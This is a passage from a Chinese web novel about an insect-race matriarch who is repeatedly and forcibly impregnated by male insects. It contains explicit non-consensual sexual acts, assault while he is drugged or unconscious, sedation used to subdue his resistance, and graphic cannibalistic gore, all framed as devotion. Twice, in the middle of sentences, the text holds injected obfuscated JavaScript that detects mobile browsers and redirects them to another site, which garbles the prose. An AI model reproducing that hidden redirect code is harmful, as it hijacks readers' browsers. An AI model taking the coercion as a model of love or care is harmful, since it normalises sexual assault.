“这里要小心些。”医疗官的声音低柔,触腕在紧绷的肚皮上缓缓游走。 腹中的生命似乎感应到外界的触碰,蠕动了一下,在肚皮上鼓起一个小尖尖,正好抵在工蜂的触腕尖端。 “孩子在回应您呢,它还没出生就这么乖了……”拉诺的复眼闪烁着,语气里带着惊叹,“母亲,孩子很喜欢您。” 阿斯兰紧闭嘴巴,不想回答。 工蜂们也不奢求一个回答,他们细致地清洗着每一寸肌肤,尤其是虫母用来生产的尾巴。 “妈妈这里需要好好做准备工作,生产可是很辛苦的事情。” 拉诺低声说着,一根比其他更为纤细的珍珠形触腕,蘸取了池边罐子里一款具有极佳延展性和润滑效果的凝胶,缓缓探向。 “不!给我松手!” 阿斯兰猛地甩开尾巴,却被拉诺的两根触腕温和而坚定地固定住。 “放松,母亲,这对您和孩子都好。” 拉诺坚定地进行着。 阿斯兰忍受不了,他只能将脸埋在臂弯里。 银白的长发湿漉漉地贴在背上和脸颊,身体在温水和触腕的双重作用下微微发抖。 拉诺的举动让他感到屈辱,感到身体背叛了他的意志,冷峻的眉眼间染上嫣红。 “你等着……我一定会杀了你……” “母亲,请您息怒,等做完这一切,您可以杀了我们。不过,您杀了我们之后,还会有其他的我们来护理您。” 蜂族们观察着他的脸,沉默而高效地工作着,复眼闪烁,默默进行着所谓的“产道护理”。 等到结束,拉诺才缓缓拿出沾满凝胶的触腕,用另一根干净的触腕,蘸取乳膏,涂抹在那红糜的周围,进行舒缓与修复。 “第一次深度护理完成,妈妈表现得很好。” 他低头,用口器边缘轻触了一下阿斯兰汗湿的额角,“但是妈妈用来生产的地方太青涩了,您这样,生产的时候会撕裂的。” “所以,等下我们再来一次。” * 与此同时,虫族最高权力机构之一,也就是枢密院的秘密会议厅里,气氛凝重。 全息投影上展示着阿斯兰最新的身体数据和腹部扫描影像,胚胎活性强劲,但母体能量波动曲线依然不稳定,显示出强烈的排斥倾向。 宰相赫里安的漆黑甲壳节肢轻轻敲击着桌面,他思考的时候,会完全用虫族本体,而不是保持俊美的人类形态。 枢密大臣迪达斯忧虑地站了起来,“宰相阁下,仅靠莱昂军团长的虫卵,不足以完全稳定陛下的状态,也不符合族群利益最大化的原则,陛下的繁殖腔和孕囊潜力远未被充分开发,怀一个也是怀,两个也是怀,现在是植入第二枚优 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248832|197904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 质卵的最佳时机。” 另一位大臣托尔也开口:“陛下的心情,我可以理解,毕竟是被迫承担孕育之责,心中有怨,在所难免。但虫母不能一直怀着怨气,情绪会影响孕育体的质量,我们需要想办法让陛下的情绪稳定下来。” 有人提议:“要不,增加安抚信息素的剂量?反正陛下一直在用安抚信息素,不用的话,陛下的情绪会崩溃,无法生产王蜜,前线的战士怎么受得了?” 迪达斯思忖片刻,“那也是一个办法。” 又有人说:“或者更换一批更温柔的服侍者?陛下不能出宫走动,心情烦闷,对虫卵的健康也不好,如果能让温顺些的雄虫服侍陛下,陛下可能会沉浸在快乐里,不再思考让他不开心的事。” 托尔叹了口气,“是啊,虫母不快乐,虫蜜的质量就会大打折扣,对虫卵的发育也不好,莱昂军团长的基因很优秀,在虫母孕囊里孕育本来就是值得的,如果母亲心情不佳,这不就枉费了吗?” 赫里安摆了摆手,示意众人安静。 “诸位,”他的声音缓慢而有力,“陛下的情绪问题,根源在于他抗拒莱昂。抗拒的原因,是因为他觉得自己是被莱昂强迫的、被控制的,如果我们能让他接受呢?” 众人面面相觑。 赫里安的目光转向坐在角落里的莱昂。 七军团长靠在椅背上,双臂环胸,面无表情。 从会议开始他就没有说过一句话,仿佛这一切与他无关。 “莱昂军团长,”赫里安开口,“您与陛下尚未完成真正的交/配,对吗?” 莱昂的眼神动了动,却依然没有开口。 赫里安代替他回答:“您只是将虫卵塞进了陛下尾巴里的繁殖腔中,而不是通过正常的交/配行为,陛下没有从中获得任何愉悦,只有痛苦,这也是他抗拒的原因之一。” “所以呢?”莱昂终于开口,声音低沉:“这是最高效直接的方式,王的身体属于整个族群,而非满足某个个体的欲望,包括我在内,谁也不能和王交/配,这是所有王夫守了七年的规矩,所以王到现在都还保留着第一次。” “所以,”赫里安缓缓站起身,“我们需要为陛下再选一位王夫培育虫卵,要选一位足够强势的雄虫,因为不强势的,无法彻底征服此刻心如冷铁的陛下。” 经过一番激烈而快速的筛选,评估与权衡,一个名字被最终确定——奥瑟,深渊星系“恒星”远征军团的统帅。 他以果决强悍、意志如铁著称,信息素等级评定为罕见的S级,具有极强的侵略性和安抚或镇压效果。 更重要的是,有未经证实的传言提及,奥瑟曾在多年前一次远征战事中,偶然瞥见过巡视远征军事务的阿斯兰,那惊鸿一瞥后,他便对这位冷冽如冰刃的斐涅尔王产生了爱意。 一通视频通讯拨到远征军总部。 “各位午好。” 奥瑟缓缓抬头:“有事找我?” 这位雄虫中的佼佼者,战功赫赫的军团副指挥,他年轻、强势、英俊、身材高大,符合所有对完美雄虫的想象。 他的眼眸是浅淡的金色,此刻正望着长桌后的诸位重臣,目光沉静如水。 在赫里安说完这个决定之后。 “我愿意。”他说。 奥瑟挑了挑眉:“奥瑟团长,你知道这意味着什么?” “意味着我要尽虫母王夫的本分,把自己的卵放进陛下孕囊,令他受孕。” 奥瑟沉默了一瞬,然后缓缓开口:“我愿意,是因为我一直仰慕陛下。” 对虫族来说,这个答案不出乎意料。 “从我第一次见到陛下起,”奥瑟的目光投向窗外,似乎透过重重殿宇望向某个遥远的方向,“他站在高台上,银发如雪,眉眼清冷,像是落入凡间的月亮,我就知道,我愿意为他献上一切。” 他收回目光,望向赫里安:“但我从未想过用这种方式接近他,如果陛下不愿,我不会强迫。” “那就别同意。”第四军团长埃德蒙的声音从角落里传来,带着嘲讽和不甘:“远征军每年分得的虫蜜数量远远超过各大军团的单独份额,陛下已经对你们多有偏心,你别得了便宜还卖乖。” 奥瑟目光平静地与他对视,“妈妈对我偏心,是因为妈妈疼爱远征军,也疼爱我,是妈妈选择了我,而不是你们。” “这次回去,我会让妈妈主动与我交/配。” 说出这句话的时候,奥瑟脸颊泛红,身体陡然僵硬,他双手抓住桌子边缘,深邃的复眼沉压压的,似乎是在狠狠压抑着汹涌的情潮。 奥瑟在想到阿斯兰的名字的时候,似乎陷入了假性发情期。 喘息声在一瞬间弥漫在枢密院的大厅里,他的嗓音喑哑低沉起来:“……我已经忍不住想去见妈妈了。” “妈妈将怀上我的卵。” 很快。 8. 第 8 章 * 第二次孕期护理结束之后,阿斯兰被梅利亚用柔软宽大的绒巾包裹着抱回床榻。 虫母的孕体因孕期疲惫和药物的双重作用而绵软无力,微微隆起的腹部昭示着他身为母亲的身份。 神圣、洁净、慈爱、包容。 那里蛰伏着令整个虫族疯狂的血脉,也让他最僭越的妄念升腾起来。 虫母在怀着别的雄虫的虫子。 他亲手扶持起来的虫母陛下,在给别的虫子生卵。 “刚刚接到的消息,新的雄虫夜晚就会抵达您的虫巢王宫。”他声音低哑,刻意维持的恭谨之下,暗流翻涌,“是您的王夫之一,基因评级为S,远征军恒星团的奥瑟。” 阿斯兰慵懒侧卧,白色长发如瀑散落枕畔,孕中的倦怠让他昏昏欲睡:“嫉妒吗,梅利亚?他要来把他的卵塞进我孕囊里了。” “我甚至不记得谁是奥瑟,我记得你,梅利亚,可惜你没有让我受孕的资格。” 阿斯兰说着尖酸刻薄的话,指尖掠过自己腹部,这会儿,腹部已经恢复了正常的弧度,那些营养液已经被可怕的虫卵飞速吸收。 “我嫉妒他。”梅利亚冷然跪伏在床沿,手背青筋暴起,却不敢真正触碰虫母的皮肤,“我嫉妒他能让您孕育更纯粹的后裔,哪怕只是交尾的资格。” 阿斯兰轻笑,眼底却浮起捕食者的冷光,“你忘了上次试图强行进入我生殖腔的雄虫怎么了?” “他的颈骨在我的触须缠绕下断裂的声响,真是清脆,像冰棱坠地,满地都是漂亮的蓝色血液,像是银河,美极了。” 阿斯兰陷入了美好的回忆。 梅利亚想起那具被拖出巢穴的骨头架子,想起阿斯兰不止杀了这么一个雄虫。 在阿斯兰最初当王那几年,有不少偷偷摸进阿斯兰被窝里的雄虫,他们都想和虫母孕育下一代,但是他们都被虫母残忍绞杀。 阿斯兰不仅杀了他们,还将他们吃了,吐出的骨头堆成山。 后来阿斯兰被查出不能孕育下一代,很快,虫母能够杀死雄虫、吞吃雄虫的特权没有了,阿斯兰被严格看管起来,除了产蜜什么也不让他做,曾经用来杀虫的健实尾巴肌肉都被注射了软化针,让这条能孕育、能杀虫的尾巴,变成了装饰品。 从那之后,阿斯兰再也不能绞杀雄虫了。 否则,莱昂不可能顺利得手,把卵强行塞进阿斯兰的孕囊。 梅利亚低下头,“陛下,您明明需要雄虫的信息素维持孕体稳定,可您连我的标记都拒绝……为什么允许一个连脸都记不清的雄虫靠近?” 梅利亚喉结滚动,攥住阿斯兰的赤足,虫母的足尖冰凉,却激得他脊髓窜起战栗。 阿斯兰骤然屈膝,足跟抵住梅利亚胸口,感受到对方心脏癫狂的搏动。 “因为你的嫉妒很有趣。”他俯身时绡衣滑落,香气弥漫,“现在,你是想学那些蠢货强行标记我,还是继续当最听话的狗?” 梅利亚的獠牙在牙龈发胀,却最终将额头抵在虫母膝头,嘶声道:“我会咬断任何雄虫的喉咙,包括那个奥瑟,只要您赐我绞杀他们的权利。” “乖。”阿斯兰的指尖掠过他发梢,像主人抚摸驯服的狼。 而窗外,高等虫族的翅翼破空声已如雷鸣逼近。 走进来的正是奥瑟。 他换下了远征军的戎装,常服衬得肩宽腿长,步履沉稳。 浅金色的眼眸在进入寝殿的瞬间,便看见了床榻上那个被巨大孕腹压着的美丽身影。 可惜,虫母被绒巾半遮半掩的隆起腹部,全然落在一旁垂首侍立的梅利亚和角落阴影中若隐若现的蜂族眼中。 奥瑟很是不满:“都出去,我不喜欢被虫看。” 拉诺他们退了出去,梅利亚却站在原地:“阁下,我不能离开陛下,请您原谅。” 奥瑟对虫巢的规矩嗤之以鼻。 虫族高阶雄虫的尾钩与人类形态下差异巨大,在非战斗状态下,它的圆钝膨大的管道结构可以通过虫母的尾巴,在产孕道里放置虫卵。 算了,如果他们愿意看虫母的受孕过程,倒也不是不可以。 奥瑟在距离床榻几步远的地方停下,微微躬身,姿态恭敬:“妈妈,我来了。” 阿斯兰没有回应,只是冷冷地看着他,“你在和我说话?” 奥瑟对阿斯兰的冷淡并不感到意外,他向前又走近了两步,单膝在床榻边跪下,这个姿势让他能与阿斯兰几乎平视,也无形中减少了一些压迫感:“我是奥瑟,恒星军团的统帅,前来侍奉您。” “又一个来播种的?”阿斯兰的声音带着讽刺的虚弱,“我的肚子,就这么让你们着迷?” 奥瑟的喉结滚动了一下,浅金色的眼眸里翻涌着爱慕,以及被职责催生出的坚定:“并非如此,陛下,我仰慕您已久,我从没想过,能有机会如此靠近您,更没想过会与您交尾。” 他的坦白让阿斯兰微微一愣,随即嘴角扯出一个更冷的弧度:“仰慕?所以你的仰慕,就是和他们一样,想把我变成生育的工具?用所谓的爱慕来粉饰强迫的事实?” 奥瑟直勾勾地盯着阿斯兰的脸颊:“毕竟是族群的需要,妈妈,请相信我,我的方式,会和莱昂不同。” 阿斯兰垂下眼帘:“有什么不同?最终不都是要把那恶心的东西塞进我的孕囊里?” 阿斯兰腹中的虫卵似乎感应到了另一股强大雄性信息素的靠近,突然剧烈地蠕动了一下,顶得那薄薄的肚皮明显高起一块。 阿斯兰闷哼一声,手下意识地抚上肚皮,眉头紧蹙。 奥瑟也看到了阿斯兰不适的样子,他不再犹豫,释放出自己S级的信息素。 那并非莱昂那般充满侵略和占有欲的暴戾气息,而是一种更为沉厚温醇的力量,如同恒星的引力场,缓缓包裹住阿斯兰。 “妈妈,请放松,很快,莱昂的虫崽会有一个兄弟相伴。” “您将再次怀孕。” 奥瑟的目光掠过虫母莹白的孕肚,充满了敬畏与怜惜。 他单膝跪下,低下头,轻轻吻了吻阿斯兰圆润的肚腹。 “妈妈,您是伟大的妈妈,我爱您,我好爱您,您爱不爱我?您爱不爱我?” 阿斯兰听过无数个雄虫痴痴地问他这句话,每一次他的答案都是:“不爱。” 奥瑟却不以为意:“没关系的,妈妈,您有了我的孩子,您就会爱上我的。” 奥瑟这次选定的虫卵是一枚包裹在特殊生物膜中的深金色克隆虫卵,被他从孵化池里取出来,精挑细选,绝对是非常适合培育的克隆子代。 他相信虫母一定会喜欢的。 只是,孕囊中尚且空余的又适合着床的空腔比较少,因为虫母的孕囊里面已经承载了一枚正在发育的虫卵,有阻塞感。 阿斯兰想用尾巴绞死奥瑟,然而奥瑟非常谨慎且迅速,不到五分钟,已经让虫卵着床。 阿斯兰的尾巴在那一瞬间产生了排异,他能感觉到, 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奥瑟却像是没听到,他的目光只看在阿斯兰身上。 虫母疲惫地闭上眼睛,呼吸逐渐变得绵长而不稳。 大概是药物和过度的疲倦,让虫母陷入了半昏迷的睡眠。 奥瑟轻轻地用绒巾重新盖好阿斯兰孕育着双重虫卵的腹部。 然后,他就这样跪在床边,如同最忠诚的骑士,守着他暗自倾慕了多年的白月光。 那张脸即使在昏迷中也带着拒虫千里的冷淡,白发散落在枕上,像融化的雪。 他的妈妈,虫族的母亲,此刻正孕育着他的骨血。 他在心中低语,浅金色瞳孔缩成竖线:莱昂的卵会撕扯您的营养,但我的克隆体会更贪婪,它会吞噬那个杂种,独享您的子宫。 奥瑟抚摸着阿斯兰再度隆起的孕肚,喉骨禁不住发出愉悦的喀嚓声。 妈妈需要同时承载多位高等种的虫卵,这是成为母亲的必经之路。 他的虫卵已经抢先居住在那具神圣的躯体里了,但妈妈的眼里只有厌恶与防备。 那又怎样? “您会恨我。”奥瑟在心中低语,声音像是从深渊中升起,“但您会习惯我。” 您会习惯我的气味,习惯我的触碰,习惯我在您耳边低语时脊椎升起的颤栗。 等到您生下我的孩子,等到那个小东西吸着您的虫蜜长大,您还会记得曾经厌恶过我吗? 奥瑟的嘴角扯出一个弧度,浅金色复眼收缩成针尖的竖瞳。 当莱昂的卵在孕囊中枯萎,当他的克隆体成为唯一存活的后裔,阿斯兰会需要他。 需要他的信息素来安抚因排异而痉挛的子宫,需要他的陪伴来度过每一个孤寂的夜晚,需要他来再次受孕。 因为虫母的孕期不会只有一次。 他会是阿斯兰最乖顺的狗,也会是困住他的最坚固的牢笼。 他会用温柔编织锁链,用仰慕粉饰侵占,让虫母在不知不觉间,将他的存在刻入骨髓。 等到某一天,当阿斯兰在孕期的潮热中本能地寻找他的信息素时,他会微笑着俯身,吻住那双总是说出尖酸话语的唇。 妈妈最终会属于他。 “我会让您爱上我的。”他无声地说,浅金色的瞳孔在黑暗中亮起幽光,“即使您不愿意,即使您恨我入骨,我也会让您离不开我。” 9. 第 9 章 虫卵在妈妈肚子里就开始争夺宠爱,孕囊不小,偏偏两颗紧挨在一起,就将从前一握就断的纤细腰线,撑开一段柔和饱满的圆润曲线。 脊椎的骨节顺着侧腰往下,连着一条尾巴,落进阿斯兰饱满微翘的臀线里,弯出一道极具张力的曲线,可虫母的身体却又依旧紧致好看。 虫母清瘦时总有一种吃不饱饭的营养不良感,如今怀了孕,倒多了几分被强行养出来的丰腴,属于虫母独有的柔软肉感,很有种温柔妈妈的韵味。 那也仅仅是看上去温柔而已。 虫母这一休息就是一夜。 新的虫卵在他体内扎下了根,像两个小小的鼓,在他体内敲着不同的节奏。 埃德蒙一直等到奥瑟离开,推门而入。 他第一眼就看见了那片被撑得饱满的隆起,他的喉结动了动,像是在吞咽什么太满的情绪。 埃德蒙跪在床边,一动未动。 绒巾滑落了一些,露出虫母削瘦的锁骨,那里的皮肤薄得能看见淡青色的血管,是被虫族全体娇豢养出来的滑腻白皙。 埃德蒙的喉咙发紧,他的目光钉在阿斯兰的脸上,复眼在黑暗中收缩又放大,收缩又放大,频率快得不正常。 他知道自己应该离开,虫母需要休息。 可他动不了。 他就这样看着,想着,想那具身体里正在孕育着的是他的骨血,想着他的虫卵正在那温暖的孕囊里贪婪地吞噬另外两个生命,嫉妒的火就烧上了头。 埃德蒙接住了阿斯兰那只垂落的手,他做了一个从未敢想象的事。 他把虫母的那只手贴在了自己脸上。 虫母的指尖冰凉,软得像没有骨头。 可是埃德蒙苦苦压抑着的发情期信息素在这一刻失控了。 不是假性发情期,而是真正的发情期,有很大一部分原因是奥瑟残留的信息素激发了他的斗志。 从前只有虫母的蜜才能激发斗志,这次……仅仅是因为摸到了虫母的手。 气息从埃德蒙的气味腺中汹涌而出,带着S级雄虫独有的压迫感,也带着卑微的乞求。 “妈妈。”他哑着嗓子,声音低得几乎听不见。 阿斯兰没有醒。 埃德蒙把那只冰凉的手贴得更紧,嘴唇翕动着,一开始只是无声地开合,然后,那些压抑了太久的话开始往外溢,像溃堤的水。 “妈妈。” “妈妈。” “妈妈妈妈妈妈妈妈——” 他的声音压得极低,却一声比一声急促,一声比一声滚烫。 他把阿斯兰的手从自己脸上移开,双手捧住,低头将嘴唇贴上去,吻着那秀美纤长的指尖,吻着单薄的掌心,吻着伶仃的手腕,每一吻都伴随着一个“妈妈”。 “妈妈,你喜不喜欢我?” 他的声音开始发颤。 “你喜不喜欢我你喜不喜欢我你喜不喜欢我——” 他跪在床边,捧着虫母的手,像捧着唯一的信仰,复眼里满是执念,满是渴望,满是那种求而不得的疯狂。 他的额头抵在床沿,肩膀微微颤抖,S级雄虫的威压在这一刻荡然无存,只剩下一个卑微乞求爱的灵魂。 “你喜不喜欢我……”他的声音越来越低,越来越哑,最后一个“我”字几乎只剩下气声,“哪怕一点点……喜不喜欢我……” 阿斯兰在昏睡中动了动指尖。 那只是无意识的神经反射,却被埃德蒙当成了回应。 他猛地抬头,瞳孔像黑暗中的两簇幽火。 “妈妈?” 没有回应。 阿斯兰依旧昏睡着,呼吸绵长而不稳。 埃德蒙眼中的光芒黯淡了一瞬,又迅速被另一种更深的执念取代。 他重新低下头,把脸埋在阿斯兰的掌心,嘴唇贴着那温热的皮肤,开始新一轮的低语。 “妈妈,妈妈,妈妈……” 他的声音像祈祷,像溺水者最后的气音。 “我要将虫卵放在您的孕囊里,请您别生我的气,它会是你最喜欢的孩子——因为我会让它像我一样爱您,像我一样,很多年前从第一眼看到你,就再也看不见别的虫。” “妈妈。” 他把唇贴在阿斯兰的掌心,印下一个漫长的吻。 “你什么时候才会喜欢我?” “你什么时候才会叫我的名字?” “你什么时候才会……在梦里喊的不是那些死掉的试验场杂种,是我?” 他的问题一个接一个,没有人回答,他也不需要回答。 他只是跪在那里,捧着虫母的手,一遍一遍地喊“妈妈”,一遍一遍地问“你喜不喜欢我”, 直到窗外的夜色开始泛白,直到远处的宫廷巡卫翅翼声预示着新一天的到来。 而埃德蒙已经将自己的虫卵被塞进了虫母的孕囊。 埃德蒙掀开了他的衣袍。 在看到尾巴那处刚刚塞进了虫卵的产孕道口,埃德蒙馋得要命,忍不住将口器凑了过去。 蝶种的口器细长微卷,用来吸食虫蜜,因为过于纤细,几乎很难让沉睡的虫母感受到它的存在。 偷偷地舔一口,不会被虫母发现……吧? 埃德蒙的蝶形口器即将触碰到孕囊入口的瞬间,一只苍白的手猛地攥住他的短发! 阿斯兰不知何时已睁开眼,瞳孔缩成两道竖线:“埃德蒙,谁允许你用肮脏口器玷污我的产卵道?” “妈妈,您醒着?”埃德蒙非但不退,反而用口器卷住阿斯兰揪扯他头发的手指尖,复眼泛起疯狂的光泽,“可您刚才明明用指尖勾了我的掌心,您分明默许了我的靠近,难道不是吗?奥瑟他一定不会服侍您,他不如我会服侍您……您为什么不让我试试?” 阿斯兰反手一记耳光抽过去! 埃德蒙脸颊瞬间浮现红痕,他却痴迷地舔舐着嘴角的血渍:“再来一巴掌,妈妈……您惩罚我的味道比虫蜜还甜。” “你想被绞杀吗?”阿斯兰的尾巴因暴怒而绷直,虽被削弱仍具威胁性。 埃德蒙快要窒息,却趁机将脸埋进他的尾巴里,那一团柔软的尾肉,让他的呼吸越发灼烫:“妈妈,您看……” 他英俊的脸在稀薄的氧气里变得火红,他缓缓撕开自己的军装领口,露出心口处:“看,我的心脏为您结成了育巢,只要您愿意,随时能剖开它,吸食我的血液……” 阿斯兰屈膝顶住他喉咙,冷笑:“那我为什么不吃了你?” “可以的,妈妈。”埃德蒙的复眼倒映着虫母因孕激素泛粉的肌肤,“您的身体比嘴诚实,您说,三枚虫卵在您的孕囊里争夺养料时,是不是我的那枚最温柔?” 阿斯兰一时没反应过来:“什么三枚虫卵?” 埃德蒙幸福地轻轻一笑,“您不知道吧?昨天夜里,我把自己的虫卵也放进了您的孕囊里,我们现在有自己的孩子了,妈妈。” 阿斯兰动了杀心。 埃德蒙趁机将口器探入阿斯兰颈侧腺体,注入镇定信息素,阿斯兰的尾巴一点点软了下来。 埃德蒙扣着阿斯兰的后脑,把他按在自己的心口,沉醉不已,身体已经颤抖起来,像是因为这个拥抱要出了。 阿斯兰冷冷地抬手拽着他的一把头发:“我真没看错,你永远只是条疯狗。” “那就让我咬断所有想偷走您的虫族喉咙。”埃德蒙舔舐他汗湿的鬓角,尾钩悄然缠上虫母再度隆起的孕腹:“妈妈,来喝我的血,如果您愿意,可以直接吃了我。” 阿斯兰被镇定信息素浸透的瞳孔微微涣散,却仍在尾椎骨处凝聚起最后的反击力量。 他的尾巴确实还保留着本能,于是尖锐地划破了埃德蒙的肋骨,雄虫的胸前血肉迸溅,皮开肉绽,露出森森白骨和源源不断的心头血。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248834|197904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>埃德蒙胸腔传来骨裂的闷响,可他竟在剧痛中发出扭曲的欢愉叹息,双手更用力地将阿斯兰按向自己渗血的心口:“对,就这样绞碎它……让我的骨头刺穿心脏,血液灌进您喉咙里,喂养我们的宝宝……” 鲜血从军装裂口涌出,浸透阿斯兰苍白的唇。 虫母的本能在他舌尖苏醒,蝶族信息素异常甜腥,正疯狂刺激着孕囊中三枚虫卵的活性。 阿斯兰忍不了了,埃德蒙的那枚卵突然在腹腔深处剧烈脉动,贪婪吮吸着来自虫父的献祭。 “疯子……”阿斯兰的咒骂被鲜血呛成咳嗽,更可怕的是,但是腹中那枚新卵正通过血液,将虫父濒死的狂喜源源不断传递进他的神经。 埃德蒙颤抖着撕开整片胸膛皮肤,暴露出搏动的心脏。 那器官表面已爬满深蓝色的血管网络,每根脉络末端都延伸向阿斯兰的孕腹方向。 “看,我的心脏早就是您的形状了……” 埃德蒙牵引着阿斯兰染血的手,按在自己心膜上,“吃吧,把我吃进您的孕囊里,这样我就能永远和您在一起……” 阿斯兰在信息素的冲击下瞳孔彻底失焦。 他渴水地吸吮着埃德蒙的血液。 埃德蒙的前三根肋骨寸寸碎端断,骨骼碎片刺入心脏的瞬间,埃德蒙发出近乎高/潮的呻/吟。 “妈妈,快一些……” 阿斯兰饿急了,他翻身骑在埃德蒙腰上,扒开他胸膛的血肉,将他的心脏徒手捏碎,吞吃入腹。 埃德蒙爱极了虫母的残暴。 他轻轻地捏着阿斯兰的脸颊,让他俯身下来,张开唇瓣,随后狠狠咬破自己舌尖,将混着信息素的血液温柔地渡进阿斯兰被迫张开的唇齿: “谢谢你爱我,妈妈……” 胸膛空洞,阿斯兰唇齿间还残留着心脏组织的温热与铁锈腥甜,冷眼看着心室缓缓生出全新的心脏。 S级高等种永远不会死,他们强悍的身体能修复伤痕,虫翅再生、心脏再生、眼球…肋骨…四肢全都能再生。 唯有一件事能杀死雄虫。 “我不爱你。”阿斯兰弯起唇角,趴在埃德蒙耳边说。 “您说谎。”埃德蒙的声音嘶哑带笑,新生组织的灼热让他气息有些不稳,却更添濒死复生的狂热。 他抬手,指尖轻轻描摹阿斯兰沾满他血迹的唇角,低沉的嗓音柔和:“不爱我,为何吞咽得那样急切?不爱我,为何我的血……让您腹中的虫卵欢欣雀跃?” 仿佛响应他的话,虫卵随着埃德蒙新生心脏的节拍同步搏动,这正说明,它因父体的献祭而强壮。 阿斯兰脸色一白,下意识想抽离,却被埃德蒙紧紧扣住了手腕。 “感觉到了吗,妈妈?”埃德蒙复眼里的光芒几乎要将阿斯兰灼穿,“它在说谢谢,谢谢您赐予它父体的精华,让它变得独一无二。” “闭嘴!”阿斯兰厉声喝道,“……我没允许你让我怀孕,我应该立刻杀了你。” “好,我闭嘴。”埃德蒙从善如流,却支起身体,不顾胸前狰狞翻卷,正在飞速愈合的伤口,将阿斯兰更紧地拥入怀中。 他低头,将脸埋进阿斯兰颈窝,深深吸气,仿佛要将虫母此刻混杂着他血液与信息素的气息刻进灵魂:“您吃了我一次,我就永远在您里面了。” 阿斯兰冷酷回答:“你是什么不值钱的赔钱货吗?稍微吃了你几口,你就缠上我了?恶心,贱虫,我说了不爱你,你这么缺爱?” 埃德蒙盯着阿斯兰蠕动着的嘴唇,耳边是一阵阵香风吹过。 “妈妈,我的骨血,我的心脏碎片,都成了您和孩子的一部分。” “莱昂做不到,奥瑟更做不到……他们只懂得掠夺和植入,而我,是把自己献祭给了您,就算我恶心,生性骚贱,是个贱虫,但我也是最爱您的那一个。” “您骂我什么都可以,我只要您。” 10. 第 10 章 埃德蒙的触腕温柔地托着阿斯兰沉重的肚腹,扭转着阿斯兰的坐姿,让他能稳稳坐在自己的腰上。 毕竟虫母在孕期,臀尾的肉多到一只手都握不住。 阿斯兰结结实实坐在他腰腹间,温软的肉感厚重,肥润而丰腴的感觉。 埃德蒙觉得自己新生出来的心脏几乎要跳出肋骨束缚。 “妈妈……” 他的意识沉入遥远的过去,回到那段所有斐涅尔人最初的共同记忆,也就是他们还被称之为“纯血虫族”时、在虫卵中度日的混沌时期。 信息素是卵内唯一的语言,承载着来自虫母的低语与抚慰,虫族因此有了对“妈妈”的概念。 他所继承的血脉,来自于初代虫母在许多个世代前产下的卵,到他这一代,已经传递了超过十三代。 初代虫母早已湮灭在历史的长河之中。 随着他的逝去,那种能滋养整个族群、让每一个新生虫族都能在破卵前便感受到被无条件接纳和珍视的“爱”,也彻底成为了传说和奢侈品。 后续代际的虫族,如同埃德蒙,从生命的最初便生活在爱的缺失之中。 因此,当阿斯兰——这位新生的、承载着族群未来的虫母出现后,劫后余生的斐涅尔人将他视作救赎。 哪怕他不爱他们。 但只要是妈妈,他们就会无条件地爱他。 埃德蒙贪婪地呼吸着阿斯兰身上的蜜香,每一次吸气,都像是在修复基因深处渴望被爱的裂痕。 他或许未曾获得过虫母的爱,但此刻,他却真切地拥抱着自己爱的虫母。 为什么不满足? 还有什么不满足? 埃德蒙小心翼翼地用触腕调整着姿势,让阿斯兰能更舒适地倚靠。 可是阿斯兰却不愿意用脊背抵着埃德蒙坚实的胸膛,他向前仰去,银发披散,垂落在赤裸的肩头和隆起的孕肚上,嗓音低沉地说:“别碰我,埃德蒙,你太脏了。” 埃德蒙被压着,反倒是屏住了呼吸。 虫母腹部的弧度饱满如宁静的山丘,随着呼吸轻轻起伏,落在他的小腹前。 阿斯兰低头看着自己的小腹,发现孕肚又大了一圈,更有点崩溃。 埃德蒙却眸中满是狂热的光。 他其余的触腕无声地聚拢过来,全方位的环绕与承托,像最忠诚的根系呵护着珍贵的土壤。 阿斯兰重新闭上眼睛,叹了口气。 如果他能自主流产,他早就那么做了,但是梅利亚全天24h严格监管他,他根本没机会。 他曾不止一次地尝试从高处坠下,故意让自己感染风寒,甚至用指甲撕裂下腹的皮肤。但每一次,只要他的生理指标出现一丝一毫的异常波动,梅利亚便会立刻制止他,用温和的镇静剂注入他的身体,强制他陷入沉睡。醒来后,所有不适都会烟消云散,只留下更深的无力感。 他的身体已不完全属于他自己,更像是一个被征用的孵化器。 【系统。】 [我在,宿主。] 【纯血新王还没有找到吗?】 [仍然没有出现的迹象,宿主,这已经是您询问我的第7个365次,您每一天都要问一次。] 【我知道了。】 窗外骤然响起警报,莱昂强闯进封闭的虫巢宫殿,阿斯兰冷冷地看过去。 雄性斐涅尔人山岳般的身躯出现,军靴踏地,复眼猩红,周身翻腾的暴戾信息素几乎要将空气点燃。 他看见了什么? 虫母趴坐在埃德蒙身上,双腿屈膝跪在地面,他肩上的丝袍松松垮垮地挂着,因为孕肚负担沉重,他一只手轻柔后腰,另一只手抚摸着高隆的腹部。 虫母的身体充满了生命原始的、丰饶的诱惑,坐在雄虫的身上休息。 虫母自己却毫不在意,仿佛这具被软禁的身体是他的累赘,他怎么舒服怎么来。 阿斯兰慵懒地别过头来,看清来人,“莱昂?你找死?谁让你进来的?” 发丝浮动,风吹拂而过,虫母的信息素带着危险和诱惑的馥郁香气,让周围的虫族本能地感到躁动与渴望。 所有虫族凝视着他冷淡而美艳的脸颊,本能地想跪下,然而虫母孕期丰腴温热的身体,又让虫族们发出渴求的震颤。 